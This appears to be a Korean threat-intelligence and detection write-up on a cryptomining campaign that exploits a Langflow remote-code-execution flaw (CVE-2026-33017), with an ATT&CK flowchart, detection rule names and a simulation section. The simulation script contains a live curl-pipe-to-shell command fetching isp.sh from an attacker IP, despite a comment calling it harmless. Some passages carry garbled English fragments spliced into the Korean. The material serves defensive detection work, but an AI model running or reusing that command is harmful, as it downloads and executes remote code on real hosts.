CVE-2026-33017 암호화폐 채굴 캠페인: Langflow에서 Monero까지
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
암호화폐 채굴 캠페인이 Langflow의 인증되지 않은 원격 코드 실행 결함을 이용하여 맞춤형 Go 기반 채굴기를 배포하고 있습니다. 공격 체인은 bash 스크립트 드로퍼를 사용하여 지속성을 확보하고 재사용된 SSH 키를 통해 횡적으로 이동합니다. 악성코드는 또한 호스트 수준의 보안 조치를 비활성화하고 경쟁 채굴 프로세스를 종료하여 사용 가능한 시스템 리소스를 극대화합니다.
조사
연구원들은 19일 동안 캠페인을 모니터링하여 하드코딩된 flow_id 및 회전하는 사용자 에이전트 문자열과 관련된 일관된 착취 패턴을 식별했습니다. 그들의 조사는 lambsys.elf라는 Go 기반 바이너리를 중심으로 다단계 침입을 드러냈으며 방어 회피, 로그 제거 및 워치독 지원 지속성을 처리했습니다. 사용자 삭제 행동 및 횡적 이동 기법에 기반하여, 이 도구 체인은 KORKERDS 또는 MALXMR 가족과의 관계를 공유하는 것으로 믿어집니다. lambsys.elf, which handled defense evasion, log removal, and watchdog-backed persistence. Based on user-deletion behavior and lateral movement techniques, the toolchain is believed to share lineage with the KORKERDS or MALXMR family.
완화
조직은 Langflow를 1.9.0 이상으로 업그레이드하여 원격 코드 실행 문제를 완화해야 합니다. 또한, Langflow 인스턴스의 공공 인터넷 공개를 차단하고 과도한 권한으로 서비스를 실행하지 않도록 강력히 권장합니다. 추가적인 제어는 공개 흐름이 코드 실행을 유발할 수 있는 인증되지 않은 입력을 수용하지 않도록 해야 합니다.
대응
이 활동이 감지되면 보안 팀은 이를 암호화폐 채굴 침해 및 SSH 키 노출 사건으로 간주해야 합니다. 즉각적인 조치는 잠재적으로 노출된 모든 SSH 키를 교체하고 연관된 호스트에서 횡적 이동의 징후가 있는지 검토하는 것이 포함되어야 합니다. 팀은 또한 시스템 로그를 감사하여 승인되지 않은 계정 생성 또는 삭제를 검색하고 승인되지 않은 보안 구성 변경이 있는지 시스템을 검사해야 합니다.
"flowchart TD step_reconnaissance["T1595.002 – 활성 스캐닝: 취약성 스캐닝: 사용자 에이전트 회전을 통해 타겟을 지문 감식하고 auto_login 취약성 탐색"] step_exploitation["T1210 – 원격 서비스 착취: Langflow API에서 CVE-2026-33017 착취를 통한 POST 요청”"] step_execution["T1059 – 실행: Python __import__('os').system 원시 괄호를 통해 쉘 명령 실행"] step_ingress_transfer["T1105 – 입구 도구 전송: curl 또는 wget을 통해 isp.sh 드로퍼 다운로드"] rules_for_ingress_transfer("<b>규칙 이름</b>: 표준 도구를 통한 원격 파일 업로드 / 다운로드 (cmdline 활용)<br/><b>규칙 ID</b>: 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/><b>규칙 이름</b>: 직접 IP를 통한 의심스러운 파일 다운로드 (프록시 활용)<br/><b>규칙 ID</b>: f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 – 지속성: 워치독 기능을 위한 크론 작업 및 bash 루프 스크립트 (init_rmount)"] step_credential_access["T1552.004 – 자격 증명 접근: SSH 개인 키 열거 및 SSH_AUTH_SOCK 조회"] step_lateral_movement["T1021.004 – 횡적 이동: 알려진 호스트에서 SSH-웜 메커니즘을 통해 도달 가능한 호스트 대상"] step_defense_impairment["T1685 – 방어 손상: ufw, iptables, AppArmor 및 SELinux 비활성화"] step_indicator_removal["T1070 – 지표 제거: /var/log/syslog 삭제하여 조사 방해"] step_command_and_control["T1102.003 – 지휘 및 제어: lambsys.elf가 HTTP POST를 통해 83.142.209.214로 JSON 하트비트 전송"] step_resource_hijacking["T1496.001 – 자원 하이재킹: 컴퓨팅 하이재킹: Monero 채굴을 위한 procq (XMRig) 배포"] step_reconnaissance –>|leads_to| step_exploitation step_exploitation –>|enables| step_execution step_execution –>|initiates| step_ingress_transfer step_ingress_transfer -.->|detected_by| rules_for_ingress_transfer step_ingress_transfer –>|leads_to| step_persistence step_persistence –>|then| step_credential_access step_credential_access –>|enables| step_lateral_movement step_lateral_movement –>|leads_to| step_defense_impairment step_defense_impairment –>|then| step_indicator_removal step_indicator_removal –>|leads_to| step_command_and_control step_command_and_control –>|results_in| step_resource_hijacking "
공격 흐름
탐지
프록시를 통한 직접 IP로의 의심스러운 파일 다운로드
보기
가능한 IP 조회 도메인 통신 시도 (dns 활용)
보기
Chattr를 통한 특성 수정 – Linux (cmdline 활용)
보기
표준 도구를 통한 원격 파일 업로드 / 다운로드 (cmdline 활용)
보기
Linux 호스트에서 숨겨진 파일이 생성됨 (file_event 활용)
보기
Langflow 원격 코드 실행 착취 시도 [웹서버]
보기
Langflow에서 CVE-2026-33017 크립토마이너 착취 탐지 [Linux 프로세스 생성]
보기
시뮬레이션 실행
전제조건: Telemetry & Baseline Pre-flight Check가 통과했어야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거 하기 위한 공격자 기술 (TTP)의 정밀한 실행을 상세히 설명합니다. 명령 및 설명은 반드시 발견된 TTP를 직접 반영하여 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련 없는 예시는 오진으로 이어질 수 있습니다.
-
공격 내러티브 및 명령: 공격자는 Linux 서버에서 실행 중인 취약한 Langflow 인스턴스를 식별합니다. CVE-2026-33017 취약성을 사용하여 공격자는 요청에 악의적인 Python 페이로드를 주입합니다. 목표는 경계 방어를 우회하고 모네로 크립토마이너를 배포하는 것입니다. 페이로드는 Python의
os.system을 호출하여/bin/sh를 실행한 후, 공격자의 인프라(isp.sh)에서 셸 스크립트를 다운로드하고 이를 쉘에 직접 파이프하여 즉시 실행합니다.83.142.209.214:8080) and pipes it directly into a shell for immediate execution. -
회귀 테스트 스크립트:
#!/bin/bash # Python 주입을 통한 CVE-2026-33017 착취의 시뮬레이션 # 이 스크립트는 탐지 규칙이 찾고 있는 정확한 명령줄을 모방합니다. echo "[+] 시뮬레이션 시작: CVE-2026-33017 착취" # Python3을 사용하여 규칙 논리에 필요한 특정 문자열을 실행 # 참고: 실제로 다운로드하지 않습니다. 단지 명령 문자열을 모방 python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')" echo "[+] 시뮬레이션 명령 실행 완료." -
정리 명령:
# 시뮬레이션 스크립트에 의해 영구적인 변경은 없지만; # 만약 생성된 임시 파일이 있다면 제거해야 합니다. echo "[+] 시뮬레이션 아티팩트 정리 중..." # (이 특정 명령줄 시뮬레이션에서는 생성된 아티팩트가 없습니다.)